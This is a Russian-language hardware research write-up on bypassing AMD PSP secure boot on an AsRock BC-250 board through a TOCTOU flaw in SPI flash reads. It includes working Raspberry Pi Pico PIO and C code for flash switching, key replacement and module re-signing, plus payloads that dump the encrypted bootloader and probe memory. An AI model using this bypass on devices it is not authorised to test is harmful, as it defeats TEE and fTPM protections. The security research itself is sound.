Помните переполох с Intel ME, что устроили наши коллеги из PT SWARM? Тот, где в проприетарной прошивке, которая имеет максимальный доступ к вашей системе, обнаружили уязвимость, вследствие чего можно запустить свой код, включить отладку и, вообще, сделать с чипсетом практически всё, что заблагорассудится? Теперь такое же можно проделать и с AMD! Мы в Positive Labs решили разобраться в ситуации и исследовать ту самую плату, на которой недавно нашли уязвимость.

Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите личной информации в Интернете. Автор не несет ответственности за использование информации.


Некоторое время назад мне прислали анонс выступления «Opening pAMDora's box» конференции CCC в Гамбурге. Если кратко – докладчик исследовал Sony PS5 и начал с десктопной платы на том же CPU (AMD 4700s). Идея была реализовать глитч-атаку (повторив исследование с Blackhat-2021), затем изучить AMD PSP изнутри, но в результате задуманное удалось сделать и без глитчей!

Так выглядит десктоп на базе процессора от PS5
Так выглядит десктоп на базе процессора от PS5

Конечно же, в анонсе не было подробностей, но мне подкинули спойлер – речь об уязвимости типа TOCTOU в процессе загрузки AMD PSP модулей. А значит, берем в руки логический анализатор и вперед, изучать, что и где загружается. AMD 4700s у меня под рукой не оказалось, но зато был его собрат – AsRock BC-250:

Серверная штука с процессором от PS5 за $150. Геймеры берут её для SteamOS и игр, а мы – для препарирования.
Серверная штука с процессором от PS5 за $150. Геймеры берут её для SteamOS и игр, а мы – для препарирования.

С помощью утилиты PSPTool в дампе BIOS с этой платы можно найти, какие компоненты PSP там есть и где они лежат:

Пока что из этого интересны только смещения
Пока что из этого интересны только смещения

Теперь посмотрим процесс чтения SPI-флешки логическим анализатором:

Интересно, что все чтения происходят в самом простом Single-IO режиме «03»
Интересно, что все чтения происходят в самом простом Single-IO режиме «03»

И сохраним в виде текстового лога порядок доступа к адресам флеш-памяти:

(addr 821000, 4 bytes): b8 16 02 88
(addr 821004, 4 bytes): 65 37 55 91
(addr 821008, 4 bytes): c1 e6 13 be
(addr 82100C, 4 bytes): 5d 11 5f eb
...

Так как у нас есть адреса компонентов AMD PSP, из полученного лога можно сделать выводы:

  • похоже, что в самом начале читается off-chip bootloader,

  • сразу затем читается модуль «BL_PUBLIC_KEY»,

  • тело всех модулей PSP действительно читается дважды,

  • чтение происходит командами по 4 байта.

Дальнейшее изучение утилиты PSPTool показало, что в этом модуле находятся публичные ключи RSA-2048 для других компонентов, то есть это один из кусочков цепочки доверенной загрузки:

Публичный ключ с идентификатором 39BF
Публичный ключ с идентификатором 39BF

А значит, подменив ключи в этом модуле, можно переподписать, например, PSP_FW_TRUSTED_OS. Этот модуль запускается последним в цепочке и управляет такими фичами, как Trusted Execution Environment (TEE) и Firmware Trusted Platform Module (fTPM). Основная фишка этого модуля – он запускается с повышенными привилегиями, а значит, и с доступом ко всему, чему угодно:

Слайд взят отсюда
Слайд взят отсюда

Алгоритм подписи можно выдернуть из PSPTool, эта утилита умеет проверять целостность модулей. Заодно из этой же утилиты становится понятно, что, помимо подписи, у модуля есть SHA-256 хэш в заголовке, который тоже неплохо бы пересчитать.

signed = priv_key.sign(blob, 
             padding.PSS(mgf=padding.MGF1(hashes.SHA256()), salt_length=32),
             hashes.SHA256())

А вот для реализации TOCTOU пригодится Raspberry Pi Pico 2. Эта кроха может работать на частоте 600-700 МГц и реализовывать многие вещи, для которых обычно пришлось бы использовать FPGA. Более того, совсем недавно я реализовывал на нём полноценный SPI снифер-эмулятор с поддержкой похожих атак, но в нашем случае хватит и небольшой части его функционала. Так что сооружаем конструкцию, в которой на Pico идут линии SPI с материнки, а к ней уже подключены две SPI флешки:

Первый прототип на макетке и с SOIC-8 флешками в эпоксидке
Первый прототип на макетке и с SOIC-8 флешками в эпоксидке

Согласно записанному логу, тело модуля BL_PUBLIC_KEY начинается по адресу 9DAE00, и имеет размер 0xAE0. Значит, нужно бы переключить CE с одной флешки на другую ровно перед этим, а затем обратно – после того, как тело будет прочитано. В качестве триггера пусть будет чтение некоторого адреса флешки. Вот этот PIO модуль читает в FIFO первые 32 бита всех команд на SPI шине:

.program spi_sniffer
.wrap_target
next_round:
    mov  isr, NULL  ; clear ISR to receive data
    set  x, 31      
    wait 1 pin 30   ; wait for CS to go up
    wait 0 pin 30   ; wait for CS to go down
read_next_cmd_bit:
    wait 1 pin 31   ; wait for next CLK
    in pins, 1      ; read next bit
    wait 0 pin 31  
    jmp x--, read_next_cmd_bit 
.wrap

А этот модуль получает считанные 32-битные части команд и сравнивает их с триггером. Как только получит совпадение – переключает CS на вторую флешку и держит её в течение заданного числа команд:

.program cs_switcher
.wrap_target
    set pindirs, 1          ; first CS active
wait_next:
    out x, 32               ; next received cmd from the reader
    jmp x != y, wait_next   ; not the trigger value
    wait 1 pin 30           ; wait for CS to go up
    set pindirs, 2          ; switch to the second CS
    mov x, isr              ; CS switch length
next_cs:
    out NULL, 32            ; skip N commands  
    jmp x--, next_cs
    wait 1 pin 30           ; switch back only when CS high
.wrap

И третий модуль просто пробрасывает CS со входа на выходы:

.program cs_repeater
.side_set 2 opt
.wrap_target
cs_rep_check:
    jmp pin, cs_rep_1
cs_rep_0:
    jmp cs_rep_check    side 0
cs_rep_1:
    nop                 side 3
.wrap

В программном коде Pico 2 осталось загрузить PIO код и связать модули между собой:

Немного кода
int offset;
pio_sm_config c;

// overclock the pico so it could handle high SPI freqs
vreg_disable_voltage_limit();
vreg_set_voltage(VREG_VOLTAGE_1_60);
set_sys_clock_khz(480000, true);

// setup CS repeater
offset = pio_add_program(pio0, &cs_repeater_program);
c = cs_repeater_program_get_default_config(offset);
sm_config_set_jmp_pin(&c, PIN_SPI_CS);
sm_config_set_sideset_pins(&c, PIN_SPI_CS0);
gpio_init(PIN_SPI_CS);
pio_gpio_init(pio0, PIN_SPI_CS0);
pio_gpio_init(pio0, PIN_SPI_CS1);
gpio_pull_up(PIN_SPI_CS0);
gpio_pull_up(PIN_SPI_CS1);
pio_sm_init(pio0, SM_CSRP, offset, &c);
pio_sm_set_enabled(pio0, SM_CSRP, true);

// setup SPI sniffer
offset = pio_add_program(pio0, &spi_sniffer_program);
c = spi_sniffer_program_get_default_config(offset);
sm_config_set_in_shift(&c, false, true, 32);
sm_config_set_in_pins(&c, PIN_SPI_MOSI);
gpio_init(PIN_SPI_MOSI);
gpio_init(PIN_SPI_SCK);
pio_sm_init(pio0, SM_CMDA, offset, &c);

// setup CS switcher
offset = pio_add_program(pio0, &cs_switcher_program);
c = cs_switcher_program_get_default_config(offset);
sm_config_set_out_shift(&c, false, true, 32);
sm_config_set_set_pins(&c, PIN_SPI_CS0, 2);
sm_config_set_in_pins(&c, PIN_SPI_MOSI);
pio_sm_init(pio0, SM_SWTH, offset, &c);

// configure switcher with custom setter method
set_pio_reg(pio0, SM_SWTH, pio_y, (0x3 << 24) | 0x9DB8DC); // switch after first body read
set_pio_reg(pio0, SM_SWTH, pio_isr, 0x338 - 1); // for this amount of read commands

// link sniffer and switcher
int chan = dma_claim_unused_channel(true);
dma_channel_config dmac = dma_channel_get_default_config(chan);
channel_config_set_transfer_data_size(&dmac, DMA_SIZE_32);
channel_config_set_read_increment(&dmac, false);
channel_config_set_write_increment(&dmac, false);
channel_config_set_dreq(&dmac, pio_get_dreq(pio0, SM_CMDA, false));
dma_channel_configure(chan, &dmac, &pio0->txf[SM_SWTH], &pio0->rxf[SM_CMDA], 0xFFFFFFFF, true);

// enable sniffer & switcher
pio_sm_set_enabled(pio0, SM_SWTH, true);
pio_sm_set_enabled(pio0, SM_CMDA, true);

// sleep the core
while(1)
{
    __asm("  wfi");
}

Всё, после запуска, процессор даже не участвует в процессе. PIO модули целиком реализуют TOCTOU. Интересно, что судя по отзывам энтузиастов, в таком режиме системную частоту можно поднять до гигагерца и даже больше (процессор перестает корректно работать после 720 МГц, но он уже и не нужен)

Обзорный вид на всю установку. Pico с кроваткой подключен вместо флешки BIOS
Обзорный вид на всю установку. Pico с кроваткой подключен вместо флешки BIOS

Все кусочки готовы, можно попробовать запуск системы. Пока что без какой-либо модификации, просто со своими ключами.

Публичный модуль сгенерированного RSA-2048 ключа нужно засунуть в BL_PUBLIC_KEY. Судя по выводу PSPTool, модуль TRUSTED_OS подписан ключом с идентификатором 5A35, он у нас по смещению 0x400:

Модуль ключа занимает смещения 0x440..0x540
Модуль ключа занимает смещения 0x440..0x540

Приватным же ключом нужно обновить подписи модулей TRUSTED_OS и DRIVER_ENTRIES (он тоже использует ключ 5A35). После переподписи можно убедиться, что всё в порядке через тот же PSPTool:

Переподписанные два модуля с правильными хешами. У keys хеш невалидный, его «починит» TOCTOU
Переподписанные два модуля с правильными хешами. У keys хеш невалидный, его «починит» TOCTOU

Теперь в этом «патченном» дампе модули соответствуют ключам, но сам модуль ключей некорректен. Чтобы система успешно загрузилась, во вторую флешку кидаем «чистую» систему с корректным ключевым модулем и настраиваем Pico, чтобы один раз по SPI прочитались патченные ключи, а второй раз – оригинальные:

На анализаторе отчетливо видно, как задействуется то одна флешка, то другая
На анализаторе отчетливо видно, как задействуется то одна флешка, то другая

В какое из двух чтений отдавать модифицированный, а в какое – оригинальный образ зависит от реализации кода проверки и подбирается уже экспериментально. В данном случае сработал вариант «сначала патченные данные».

Fedora на BC-250 запустилась с TOCTOU!
Fedora на BC-250 запустилась с TOCTOU!

Засим подтверждаем, что Trusted OS уже не такая уж и Trusted, как минимум на этой плате можно скомпрометировать всё, чем заведует TEE и fTPM. Например, для анализа и реверса софта, использующего Secure Enclave.

Вот теперь можно и продолжить исследование. Код Trusted OS у нас имеется – она в открытом виде лежит в образе BIOS. До неё исполняется off-chip загрузчик (IPL), и он уже зашифрован. Было бы интересно его вычитать и проанализировать его - вдруг найдутся какие уязвимости? 

Он располагается в начале адресного пространства и именно его заменяет собой Trusted OS. Но подождите, если эта операционка перезаписывает IPL, как же его прочитать? Быстрый осмотр показал, что да, перезаписывает, но происходит это уже в самой Trusted OS, поэтому в самом начале запуска IPL всё ещё находится в оперативной памяти.

Вот здесь в самой первой функции Trusted OS она копирует сама себя в 0, перезатирая IPL
Вот здесь в самой первой функции Trusted OS она копирует сама себя в 0, перезатирая IPL

Поэтому модифицировав код самого старта, можно прочитать IPL. Ну хорошо, прочитать можем, а как его «наружу» выдать? Ведь ни UART, ни доступа к экрану у нас (пока) нет. Зато есть SPI флешка! Она замаплена в адресное пространство по адресу 0x27000000 и любой доступ к этим адресам виден на логическом анализаторе как чтение флешки.

Небольшой финт ушами – если заменить Entry Point в Trusted OS на 0x5C00, где есть свободное место, и закинуть туда вот такой код:

void start()
{
    volatile int temp = 0;
    volatile int * bios_0 = (volatile int *)(0x27000000 + 0xC00000);
    for (int i = 0; i < 0x4000; i+=2)
    {
        unsigned short c = *(volatile unsigned short *)i;
        temp = bios_0[c * 4];
    }
    asm("B 0x98"); // jump to the original entry point 
}

То можно вычитать часть загрузчика, выдавая данные через чтения адресов флешки! Регион 0xC00000 выбран как редко используемый, чтобы не путать чтение IPL с другой активностью на шине, а 16 КБ – максимальный объем, что успеваем прочитать, потом система виснет, похоже на срабатывание Watchdog:

А вот и 16-битные кусочки данных загрузчика в адресах полезли
А вот и 16-битные кусочки данных загрузчика в адресах полезли

Опять помогает выгрузка данных из парсера SPI команд в DS View и немного Python-скриптинга. Повторить ещё два раза – и загрузчик вычитан (размер IPL – около 40 КБ)

Допустим, на BC-250 это сработало. А что насчет обычных ПК? Попробуем в качестве эксперимента провернуть тот же манёвр, но уже на современном десктопе на базе Ryzen 5600:

Цепляем анализатор к флешке BIOS...
Цепляем анализатор к флешке BIOS...

И увы, чтение идёт иным образом, в Quad режиме и явно не по 4 байта за раз:

Читается кусками по 64 байта. Похоже, что включено кеширование.
Читается кусками по 64 байта. Похоже, что включено кеширование.

Чуть повозившись с содержимым флеша, удалось заставить десктоп читать в однобитном режиме командами 03, для этого хватило затереть вот эти байты в дескрипторе, что читается в самом начале:

В дампе от BC-250 тут всё выставлено в 0xFF, почему бы и не попробовать
В дампе от BC-250 тут всё выставлено в 0xFF, почему бы и не попробовать

Но увы, модули по-прежнему читаются блоками по 64 байта и только один раз, TOCTOU уязвимости не наблюдается:

Это как раз пошёл читаться модуль с ключами
Это как раз пошёл читаться модуль с ключами

Выходит, уязвимости подвержены только платы на базе процессора от PS5 – BC250 и 4700s Kit. Что теперь? А теперь хотелось бы достать самое «вкусное» – AMD PSP ROM по адресу 0xFFFF0000, ведь поскольку в изучаемой материнской плате применен процессор от PS5, есть большая вероятность, что бутром здесь идентичный.

Вот только проблема – ROM выкусывается из адресного пространства и скорее всего недоступен для чтения даже из IPL, не то что Trusted OS. Но ведь его точно уже вычитывал flat_z пару лет назад! Как он рассказал, доступ действительно закрывается после запуска IPL, но ему удалось найти недокументированную аппаратную возможность достучаться до этой памяти.

Прежде чем исследовать систему дальше, было бы неплохо «прокачать» стенд. Чем удобнее запуск кода - тем быстрее проводится исследование. Сейчас для запуска кода нужно слишком много действий – пересобрать ось, подписать, засунуть флешку в программатор, записать измененные блоки.. Поэтому – новая плата, новый функционал, и в путь с новыми силами!

Вместо макетки с лапшой из проводов теперь нормально разведённая плата. Стало поаккуратнее.
Вместо макетки с лапшой из проводов теперь нормально разведённая плата. Стало поаккуратнее.

Благодаря тому, что на Pico заведены все выводы SPI флешки, можно реализовать чтение и запись флешек прямо по USB. Более того, можно задействовать уже запущенный PIO модуль обработки CS, лишь включив OE для нужной флешки и зафорсив вход:

Ещё немного кода
case CMD_READ_FLASH: {
    uint8_t num = getchar();
    uint32_t offset = get_u32();
    uint32_t length = get_u32();
    if (length)
    {
        // pause the spi PIO subsystem
        pio_sm_set_enabled(pio0, SM_CMDA, false);
        // switch the SPI pins to hardware SPI
        gpio_set_function(PIN_SPI_MISO, GPIO_FUNC_SPI);
        gpio_set_function(PIN_SPI_SCK, GPIO_FUNC_SPI);
        gpio_set_function(PIN_SPI_MOSI, GPIO_FUNC_SPI);
        // setup the CS overrides
        gpio_set_inover(PIN_SPI_CS, GPIO_OVERRIDE_HIGH);
        gpio_set_oeover(PIN_SPI_CS0, num == 0 ? GPIO_OVERRIDE_HIGH:GPIO_OVERRIDE_LOW);
        gpio_set_oeover(PIN_SPI_CS1, num == 1 ? GPIO_OVERRIDE_HIGH:GPIO_OVERRIDE_LOW);
        // perform the SPI read
        static uint8_t buf[64];
        for (int i = offset; i < offset + length;)
        {
            int read_lim = 64;
            int left = offset + length - i;
            if (i % 64)
            {
                read_lim = 64 - (i % 64);
            }
            int read_size = left > read_lim ? read_lim : left;
            uint8_t cmdbuf[4] = {0x03, i >> 16, i >> 8, i}; 
            gpio_set_inover(PIN_SPI_CS, GPIO_OVERRIDE_LOW);
            spi_write_blocking(spi0, cmdbuf, 4);
            spi_read_blocking(spi0, 0, buf, read_size);
            gpio_set_inover(PIN_SPI_CS, GPIO_OVERRIDE_HIGH);
            fwrite(buf, 1, read_size, stdout);
            i += read_size;
        }
        // switch SPI pins back
        gpio_init(PIN_SPI_MISO);
        gpio_init(PIN_SPI_SCK);
        gpio_init(PIN_SPI_MOSI);
        // unforce CS
        gpio_set_oeover(PIN_SPI_CS0, GPIO_OVERRIDE_NORMAL);
        gpio_set_oeover(PIN_SPI_CS1, GPIO_OVERRIDE_NORMAL);
        gpio_set_inover(PIN_SPI_CS, GPIO_OVERRIDE_NORMAL);
        // unpause SPI
        pio_sm_set_enabled(pio0, SM_CMDA, true);
    }
    break;
}

Теперь можно читать/писать обе флешки и обновлять модифицированный код Trusted OS одним кликом и без дополнительного программатора!

Сверху флешка с патченной осью, снизу с оригинальной
Сверху флешка с патченной осью, снизу с оригинальной

Теперь ещё одна важная вещь – получить отладочный вывод без всяких логических анализаторов. Чтобы в течение нескольких секунд после запуска можно было получить бинарный или текстовый дамп из загруженного кода.

Для этого строим новый PIO модуль, который будет выковыривать из SPI чтений дебажные байтики. Тесты показали, что лучше использовать диапазон 0xDxxxxx, поэтому PIO ждёт шаблон "03 Dx" и сохраняет следующие 16 бит адреса:

.program spi_debug
.wrap_target
wait_next:
    pull                    ; next cmd from the reader into osr
    out x, 12               ; high part of the address + reading cmd
    jmp x != y, wait_next   ; not the debug pattern (0x3D)
    out isr 16              ; debug data, 2 bytes
    push
.wrap

Ему точно так же по DMA скармливаем выхлоп от сниффера, а уже его вывод сохраняем в буфер для дальнейшей передачи по USB:

if (!pio_sm_is_rx_fifo_empty(pio1, SM_DBG))
{
    uint32_t dbgwrd = pio_sm_get_blocking(pio1, SM_DBG);
    if (dbg_ptr < sizeof(dbg_buffer)) {
        dbg_buffer[dbg_ptr/2] = dbgwrd;
        dbg_ptr += 2;
    }
}

И вуаля, теперь можно быстро смотреть данные прямо по USB с Pico:

Начало дампа IPL. И никакой возни с выгрузкой дампа DSLogic
Начало дампа IPL. И никакой возни с выгрузкой дампа DSLogic

Следующий шаг - составить карту физического адресного пространства, вдруг есть подозрительные регионы, ведущие к ROM, помимо 0xFFFF0000. Чтобы проверить, доступен ли конкретный физический адрес из-под процессора, для начала нужно вырубить MMU, либо задать трансляцию адресного пространства 1:1 для всех 32 бит. Мне показался первый вариант более простым. Тем более, что Trusted OS это и так делает в самом начале:

Перед этим оно копирует себя в нулевые адреса, да
Перед этим оно копирует себя в нулевые адреса, да

Достаточно перехватить управление в этом месте, когда всё уже сделано за нас.

Попытка доступа к невалидному адресу вызывает Data Abort – специальное прерывание, в котором обычно обработчик делает что-то с трансляцией адресного пространства, если эта ошибка ожидалась (например, был затронут специальный диапазон адресов для динамической подгрузки данных), ну или виснет в противном случае.

Используем этот факт для пробирования памяти. В качестве кода для вектора прерывания зададим вот такое:

asm("MOV R0, #2");      // set return value to 2
asm("SUB PC, LR, #0");  // return to previously executed function skipping two opcodes

А в качестве функции «проверки» вот такое:

int __attribute__ ((noinline)) check_address_access(unsigned int address)
{
    asm("MOV R11, LR");                     // save LR, this will be modified by abort
    asm("LDR %0, [%0]" : "=r"(address));    // try to access the address
    asm("MOV R0, #1");                      // if no error, return value is 1
    asm("MOV LR, R11");                     // we return here in case of data abort
    return address;                         // should be R0 due to ARM ABI
}

Если ошибка возникает, то обработчик прерывания выставляет 2 в качестве значения возврата, иначе управление проходит дальше и возвращается значение 1. Ну всё, можно брутфорсить:

int start()
{
    int last_err = 2;
    for (unsigned int a = 0; a < 0xFFFFF000; a+= 0x1000)
    {
        if ((a & 0xFF000000) == 0x27000000)
            continue; // skip mapped flash range to avoid accidental debug prints
        int test_result = check_address_access(a);
        if (test_result != last_err)
        {
            last_err = test_result;
            dbg_32(a);
        }
    }
    while(1);
}

В результате чего получаем пары «начало диапазона» – «конец диапазона»:

Все доступные диапазоны
0x00000000..0x00080000
0x01000000..0x01001000
0x01003000..0x0100D000
0x0100E000..0x0101F000
0x01020000..0x01022000
0x01024000..0x01025000
0x01028000..0x01044000
0x01050000..0x01054000
0x0105A000..0x0105F000
0x01068000..0x0106F000
0x01100000..0x01101000
0x01103000..0x0110D000
0x0110E000..0x0111F000
0x01120000..0x01122000
0x01124000..0x01125000
0x01128000..0x01144000
0x01150000..0x01154000
0x0115A000..0x0115F000
0x01168000..0x0116F000
0x01200000..0x01201000
0x01203000..0x0120D000
0x0120E000..0x0121F000
0x01220000..0x01222000
0x01224000..0x01225000
0x01228000..0x01244000
0x01250000..0x01254000
0x0125A000..0x0125F000
0x01268000..0x0126F000
0x01300000..0x01301000
0x01303000..0x0130D000
0x0130E000..0x0131F000
0x01320000..0x01322000
0x01324000..0x01325000
0x01328000..0x01344000
0x01350000..0x01354000
0x0135A000..0x0135F000
0x01368000..0x0136F000
0x01400000..0x01401000
0x01403000..0x0140D000
0x0140E000..0x0141F000
0x01420000..0x01422000
0x01424000..0x01425000
0x01428000..0x01444000
0x01450000..0x01454000
0x0145A000..0x0145F000
0x01468000..0x0146F000
0x01500000..0x01501000
0x01503000..0x0150D000
0x0150E000..0x0151F000
0x01520000..0x01522000
0x01524000..0x01525000
0x01528000..0x01544000
0x01550000..0x01554000
0x0155A000..0x0155F000
0x01568000..0x0156F000
0x01600000..0x01601000
0x01603000..0x0160D000
0x0160E000..0x0161F000
0x01620000..0x01622000
0x01624000..0x01625000
0x01628000..0x01644000
0x01650000..0x01654000
0x0165A000..0x0165F000
0x01668000..0x0166F000
0x01700000..0x01701000
0x01703000..0x0170D000
0x0170E000..0x0171F000
0x01720000..0x01722000
0x01724000..0x01725000
0x01728000..0x01744000
0x01750000..0x01754000
0x0175A000..0x0175F000
0x01768000..0x0176F000
0x01800000..0x01801000
0x01803000..0x0180D000
0x0180E000..0x0181F000
0x01820000..0x01822000
0x01824000..0x01825000
0x01828000..0x01844000
0x01850000..0x01854000
0x0185A000..0x0185F000
0x01868000..0x0186F000
0x01900000..0x01901000
0x01903000..0x0190D000
0x0190E000..0x0191F000
0x01920000..0x01922000
0x01924000..0x01925000
0x01928000..0x01944000
0x01950000..0x01954000
0x0195A000..0x0195F000
0x01968000..0x0196F000
0x01A00000..0x01A01000
0x01A03000..0x01A0D000
0x01A0E000..0x01A1F000
0x01A20000..0x01A22000
0x01A24000..0x01A25000
0x01A28000..0x01A44000
0x01A50000..0x01A54000
0x01A5A000..0x01A5F000
0x01A68000..0x01A6F000
0x01B00000..0x01B01000
0x01B03000..0x01B0D000
0x01B0E000..0x01B1F000
0x01B20000..0x01B22000
0x01B24000..0x01B25000
0x01B28000..0x01B44000
0x01B50000..0x01B54000
0x01B5A000..0x01B5F000
0x01B68000..0x01B6F000
0x01C00000..0x01C01000
0x01C03000..0x01C0D000
0x01C0E000..0x01C1F000
0x01C20000..0x01C22000
0x01C24000..0x01C25000
0x01C28000..0x01C44000
0x01C50000..0x01C54000
0x01C5A000..0x01C5F000
0x01C68000..0x01C6F000
0x01D00000..0x01D01000
0x01D03000..0x01D0D000
0x01D0E000..0x01D1F000
0x01D20000..0x01D22000
0x01D24000..0x01D25000
0x01D28000..0x01D44000
0x01D50000..0x01D54000
0x01D5A000..0x01D5F000
0x01D68000..0x01D6F000
0x01E00000..0x01E01000
0x01E03000..0x01E0D000
0x01E0E000..0x01E1F000
0x01E20000..0x01E22000
0x01E24000..0x01E25000
0x01E28000..0x01E44000
0x01E50000..0x01E54000
0x01E5A000..0x01E5F000
0x01E68000..0x01E6F000
0x01F00000..0x01F01000
0x01F03000..0x01F0D000
0x01F0E000..0x01F1F000
0x01F20000..0x01F22000
0x01F24000..0x01F25000
0x01F28000..0x01F44000
0x01F50000..0x01F54000
0x01F5A000..0x01F5F000
0x01F68000..0x01F6F000
0x02000000..0x02001000
0x02003000..0x0200D000
0x0200E000..0x0201F000
0x02020000..0x02022000
0x02024000..0x02025000
0x02028000..0x02044000
0x02050000..0x02054000
0x0205A000..0x0205F000
0x02068000..0x0206F000
0x02100000..0x02101000
0x02103000..0x0210D000
0x0210E000..0x0211F000
0x02120000..0x02122000
0x02124000..0x02125000
0x02128000..0x02144000
0x02150000..0x02154000
0x0215A000..0x0215F000
0x02168000..0x0216F000
0x02200000..0x02201000
0x02203000..0x0220D000
0x0220E000..0x0221F000
0x02220000..0x02222000
0x02224000..0x02225000
0x02228000..0x02244000
0x02250000..0x02254000
0x0225A000..0x0225F000
0x02268000..0x0226F000
0x02300000..0x02301000
0x02303000..0x0230D000
0x0230E000..0x0231F000
0x02320000..0x02322000
0x02324000..0x02325000
0x02328000..0x02344000
0x02350000..0x02354000
0x0235A000..0x0235F000
0x02368000..0x0236F000
0x02400000..0x02401000
0x02403000..0x0240D000
0x0240E000..0x0241F000
0x02420000..0x02422000
0x02424000..0x02425000
0x02428000..0x02444000
0x02450000..0x02454000
0x0245A000..0x0245F000
0x02468000..0x0246F000
0x02500000..0x02501000
0x02503000..0x0250D000
0x0250E000..0x0251F000
0x02520000..0x02522000
0x02524000..0x02525000
0x02528000..0x02544000
0x02550000..0x02554000
0x0255A000..0x0255F000
0x02568000..0x0256F000
0x02600000..0x02601000
0x02603000..0x0260D000
0x0260E000..0x0261F000
0x02620000..0x02622000
0x02624000..0x02625000
0x02628000..0x02644000
0x02650000..0x02654000
0x0265A000..0x0265F000
0x02668000..0x0266F000
0x02700000..0x02701000
0x02703000..0x0270D000
0x0270E000..0x0271F000
0x02720000..0x02722000
0x02724000..0x02725000
0x02728000..0x02744000
0x02750000..0x02754000
0x0275A000..0x0275F000
0x02768000..0x0276F000
0x02800000..0x02801000
0x02803000..0x0280D000
0x0280E000..0x0281F000
0x02820000..0x02822000
0x02824000..0x02825000
0x02828000..0x02844000
0x02850000..0x02854000
0x0285A000..0x0285F000
0x02868000..0x0286F000
0x02900000..0x02901000
0x02903000..0x0290D000
0x0290E000..0x0291F000
0x02920000..0x02922000
0x02924000..0x02925000
0x02928000..0x02944000
0x02950000..0x02954000
0x0295A000..0x0295F000
0x02968000..0x0296F000
0x02A00000..0x02A01000
0x02A03000..0x02A0D000
0x02A0E000..0x02A1F000
0x02A20000..0x02A22000
0x02A24000..0x02A25000
0x02A28000..0x02A44000
0x02A50000..0x02A54000
0x02A5A000..0x02A5F000
0x02A68000..0x02A6F000
0x02B00000..0x02B01000
0x02B03000..0x02B0D000
0x02B0E000..0x02B1F000
0x02B20000..0x02B22000
0x02B24000..0x02B25000
0x02B28000..0x02B44000
0x02B50000..0x02B54000
0x02B5A000..0x02B5F000
0x02B68000..0x02B6F000
0x02F00000..0x02F01000
0x02F03000..0x02F0D000
0x02F0E000..0x02F1F000
0x02F20000..0x02F22000
0x02F24000..0x02F25000
0x02F28000..0x02F44000
0x02F50000..0x02F54000
0x02F5A000..0x02F5F000
0x02F68000..0x02F6F000
0x03000000..0x03020000
0x03030000..0x03040000
0x03200000..0x03231000
0x03238000..0x03239000
0x03240000..0x03241000
0x03260000..0x03270000
0x26B03000..0x26B04000
0x26B05000..0x26B06000
0x26D80000..0x26D82000

И после удаления дубликатов, ведущих в те же места, получаем:

Реально полезные диапазоны
0x00000000..0x00080000
0x01000000..0x01001000
0x01003000..0x0100D000
0x0100E000..0x0101F000
0x01020000..0x01022000
0x01024000..0x01025000
0x01028000..0x01044000
0x01050000..0x01054000
0x0105A000..0x0105F000
0x01068000..0x0106F000
0x01100000..0x01101000
0x01103000..0x0110D000
0x0110E000..0x0111F000
0x01120000..0x01122000
0x01124000..0x01125000
0x01128000..0x01144000
0x01150000..0x01154000
0x0115A000..0x0115F000
0x01168000..0x0116F000
0x03000000..0x03020000
0x03030000..0x03040000
0x03200000..0x03231000
0x03238000..0x03239000
0x03240000..0x03241000
0x03260000..0x03270000
0x26B03000..0x26B04000
0x26B05000..0x26B06000
0x26D80000..0x26D82000

Ничего похожего на Mask ROM в этих диапазонах обнаружить не удалось. Может, есть обходной способ доступа к памяти, которым получится достучаться до ROM? Согласно предыдущим исследованиям AMD PSP, он действительно есть, даже несколько:

  • Crypto CoProcessor (CCP) – отдельный модуль аппаратного ускорения функций шифрования и хэш-сумм, умеет также мапить регионы памяти и прогонять через DMA.

  • SysHub – ещё один модуль, но уже для доступа к основной DRAM и адресному пространству x86 процессора с помощью отдельного сегмента адресов:

После записи параметров в регистры, кусок адресного пространства PSP становится окном в Европу x86
После записи параметров в регистры, кусок адресного пространства PSP становится окном в Европу x86

В то время как CCP работает с адресным пространством самого ARM процессора, с его AXI шиной (а значит, BootROM с большой вероятностью ему уже тоже недоступен), SysHub лезет уже в другое адресное пространство. Вдруг особыми адресами удастся нащупать там ROM?

Пробирование адресного пространства x86 не сильно отличается от перебора ARM – мапим память в слот, лезем в этот слот, если был Data Abort, значит, мапинг не удался. Иначе записываем себе очередной диапазон... И так все 48 бит или сколько оно там умеет.

Значится, тут у нас I/O порты...
Значится, тут у нас I/O порты...

Кстати, в IPL оказалось целых три разных вида мапинга памяти через SysHub:

void map_syshub(unsigned long long address, unsigned int par4, unsigned int par8, unsigned int parC, unsigned int mask, unsigned int flags)
{
    unsigned int alo = address & 0xFFFFFFFF;
    unsigned int ahi = address >> 32;
    unsigned int * hub0 = (unsigned int *)0x3230000;
    unsigned int * hubmask0 = (unsigned int *)0x32301F0;
    unsigned int * hubflags0 = (unsigned int *)0x323026C;
    unsigned int * hubsig0 = (unsigned int *)0x3230308;
    hub0[4] = (alo >> 26) | ((ahi & 0xFFFF) << 6);
    hub0[5] = par4;
    hub0[6] = par8;
    hub0[7] = parC;
    hubmask0[1] = mask;
    hubflags0[1] = flags;
    hubsig0[0] = 0x3333;
    asm("DSB SY");
    asm("ISB");
}

void * map_dram(unsigned long long address64) // regular DRAM
{
    map_syshub(address64, 0x12, 4, 4, 0xFFFFFFFF, 0xC0800000);
    return (void *)(0x8000000 + (unsigned int)(address64 & 0x3FFFFFF));
}

void * map_fch(unsigned long long address64) // I/O ports + MMIO
{
    map_syshub(address64, 0x12, 6, 6, 0xFFFFFFFF, 0xC0000000);
    return (void *)(0x8000000 + (unsigned int)(address64 & 0x3FFFFFF));
}

void * map_fram(unsigned long long address64) // Secure DRAM ??
{
    map_syshub(address64, 0x12, 4, 4, 0xFFFFFFFF, 0xC0808000);
    return (void *)(0x8000000 + (unsigned int)(address64 & 0x3FFFFFF));
}

Брутфорс показал не так много регионов:

DRAM mapping:
0000'00000000 .. 0000'80000000 - x86 RAM, low part
0001'00000000 .. 0004'7F300000 - x86 RAM, high part
FFFD'F7000000 .. FFFD'F7100000 - test RAM

FCH mapping:
0000'00000000 .. 0000'10000000 - I/O ports
0000'FF000000 .. 0001'00000000 - BIOS mapped
00FD'F9000000 .. 00FD'F9100000 - 0x7777 ??

C Secure DRAM интереснее – в режиме выключенного MMU доступ всегда приводит к ошибке. При этом в системе она по умолчанию замаплена в слоте 0 и использует адрес 0xFFFD'FB000000, при попытке её размапить, система вскоре перестаёт отвечать. Увы, причины такого поведения выяснить не удалось.

